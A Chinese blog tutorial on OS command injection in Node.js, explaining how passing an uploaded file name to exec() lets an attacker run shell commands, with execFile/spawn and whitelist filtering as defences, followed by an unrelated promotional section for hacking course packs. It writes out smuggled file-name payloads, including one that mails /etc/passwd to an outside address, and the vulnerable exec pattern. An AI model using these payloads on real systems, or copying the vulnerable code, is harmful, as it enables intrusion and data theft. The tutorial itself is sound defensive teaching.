什么是 OS 命令注入
上周我们分享了一篇 《Web 安全漏洞之 SQL 注入》,其原理简单来说就是因为 SQL 是一种结构化字符串语言,攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的,只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景,当攻击者不合理使用,且开发者对用户参数未考虑安全因素的话,就会执行恶意的命令调用,被攻击者利用。
在 Node.js 中可以使用 exec()
执行命令。以基于 ThinkJS 开发的博客系统 Firekylin 为例,其中有一个用户上传压缩包导入数据的功能,为了方便直接使用了 tar
命令去解压文件,大致代码如下:
const { exec } = require('child_process');
const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
async upload() {
const { path: filePath } = this.file('import');
exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`);
}
}
其中 filePath
是用户上传文件的包含文件名的临时上传路径。假设此时用户上传的文件名为 $(whoami).tar.gz
,那么最后 exec()
就相当于执行了 tar zvxf "/xxx/runtime/$(whoami).tar.gz"
。而 Bash 的话双引号中的 $()
包裹部分会被当做命令执行,最终达到了用户超乎程序设定直接执行 Shell 命令的可怕结果。类似的写法还有 ``
包裹。当然我这里写的是 whoami
命令显得效果还好,如果是 $(cat /etc/passwd | mail -s "host" i@imnerd.org).tar.gz
能直接获取到机器密码之类的就能体会出这个漏洞的可怕了吧。
为什么使用 exec 会出问题?
因为在child_process.exec引擎下,将调用执行"/bin/sh"。而不是目标程序。已发送的命令只是被传递给一个新的"/bin/ sh’进程来执行shell。 child_process.exec的名字有一定误导性 - 这是一个bash的解释器,而不是启动一个程序。这意味着,所有的shell字符可能会产生毁灭性的后果,如果直接执行用户输入的参数。 via: 《避免Node.js中的命令行注入安全漏洞》
OS 命令注入的危害
正如刚才所说,由于能获取直接执行系统命令的能力,所以 OS 命令注入漏洞的危害想必不需要我再强调一遍。总之就是基本上能“为所欲为”吧。
防御方法
使用 execFile / spawn
在 Node.js 中除了 exec()
之外,还有 execFile()
和 spawn()
两个方法也可以用来执行系统命令。它们和 exec()
的区别是后者是直接将一个命令字符串传给 /bin/sh
执行,而前者是提供了一个数组作为参数容器,最后参数会被直接传到 C 的命令执行方法 execve()
中,不容易执行额外的参数。
当使用 spawn 或 execfile 时,我们的目标是只执行一个命令(参数)。这意味着用户不能运行注入的命令,因为
/bin/ls
并不知道如何处理反引号或管道操作或;。它的/bin/sh
将要解释的是那些命令的参数。 via: 《避免Node.js中的命令行注入安全漏洞》
不过这个也不是完美之策,这个其实是利用了执行的命令只接受普通参数来做的过滤。但是某些命令,例如 /bin/find
,它提供了 -exec
参数,后续的参数传入后会被其当成命令执行,这样又回到了最开始的状态了。
白名单校验
除了上面的方法之外,我们也可以选择对用户输入的参数进行过滤校验。例如在文章开头的上传文件的示例里,由于是用户上传的文件名,根据上下文我们可以对其限制仅允许纯英文的文件名其它的都过滤掉,这样也能避免被注入的目的。当然黑名单也不是不可以,只是需要考虑的情况比较多,像上文说的``
,$()
等等情况都需要考虑,再加上转义之类的操作防不胜防,相比之下还是白名单简单高效。
let { path: filePath } = this.file('import');
filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, '');
当然最好还是不要允许用户输入参数,只允许用户选择比较好。
后记
网络上关于 Node.js 的命令注入漏洞描述的文章比较少,大多都是 PHP 的。虽然大道理是相同的,不过在具体的防御处理上不同的语言稍微有点不一样,所以写下这篇文章分享给大家。当然除了做校验之外,使用非 root 权限用户执行程序限制其权限也能有一定的作用。另外可以定期的搜索下代码中使用 exec()
命令的地方,看看有没有问题。本来这时候应该给大家推荐一款静态分析工具来代替人肉扫描的,不过奈何 Node.js 这方面的静态分析工具不多。总之,日常开发中能不是用系统命令的尽量不是用,实在不得以要用的话也要做好校验,是用 spawn()
等相较安全的方法。
题外话
随着信息技术的快速发展和互联网的普及,IT行业 成为一个非常热门的领域,也是目前就业前景非常广阔的领域之一。
IT行业是一个非常庞大和多样化的行业,包括软件开发、网络安全、数据分析、云计算等等领域。因此,就业前景也是非常广泛和多样化的,不同的领域和职位都具有不同的就业前景和发展机会。
在软件开发领域,由于软件已经成为现代社会不可或缺的一部分,因此对软件开发人才的需求也越来越大。特别是在移动应用、大数据、人工智能等领域,软件开发人才的需求更是迅速增长。因此,软件开发人才的就业前景非常广阔,尤其是那些熟练掌握多种编程语言和技术的人才。
有幸看到一篇这样一组数据。
根据这些我不得总结,it行业确实人才紧缺,
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,### 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
👉网安(嘿客)全套学习视频👈
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
👉网安(嘿客红蓝对抗)所有方向的学习路线****👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。
面试题资料
独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。